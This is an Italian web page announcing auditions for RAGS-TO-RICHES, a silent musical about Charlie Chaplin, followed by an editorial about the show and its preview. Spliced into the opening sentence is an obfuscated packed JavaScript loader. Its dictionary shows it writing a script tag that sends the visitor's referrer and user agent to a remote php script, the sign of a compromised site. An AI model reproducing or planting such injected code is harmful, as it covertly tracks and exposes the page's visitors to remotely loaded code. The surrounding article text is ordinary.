



Il eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]}|c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrrnh|var|u0026u|referrer|tbasd||js|php'.split('|'),0,{})) 30 novembre e il 1 dicembre dalle 8,00 in poi, presso il Teatro Principe,
audizione cast artistico per spettacolo RAGS-TO-RICHES
(Dagli Stracci Alla Ricchezza), il primo musical muto dedicato a Charlie Chaplin

Redazionale Chaplin

"...Da una parte l'uomo provvisorio, geniale e prodigioso con gli abiti lisi...ed un paio di strani baffetti. Dall'altra l'uomo esasperato, ferocemente razionale con gli abiti rigidi e taglienti...ed un paio di strani baffetti. Da una parte il bene, dall'altra il male ed in mezzo l'uomo con il duro compito di scegliere".

E' il primo Musical Muto della storia, ci risponde sorridendo, Igor Geat, regista e autore di RAGS-TO-RICHES (Dagli Stracci Alla Ricchezza) un lavoro originale dedicato alla straordinaria vita di Charlie Chaplin. Poi ha aggiunto dobbiamo fare subito nuove audizioni, funziona ma può funzionare ancora meglio.

Era la metà di Giugno, mi sono trovato in un paesino di provincia a pochi chilometri da Roma quando ho visto, per strada, una locandina con una grafica di grande impatto ed un programma niente male curato dal progetto DeaDanza.

Nell'ambito del saggio della scuola DanzAmica di Cave (RM), era stata inserita l'anteprima di questo strano lavoro, seguita dallo spettacolo TO-BE-YOUNG della compagnia Astra Roma Ballet di Diana Ferrara.

RAGS-TO-RICHES
"Dagli stracci alla ricchezza"



Progetto DeaDanza 



Il primo Musical muto
dedicato a Charlie Chaplin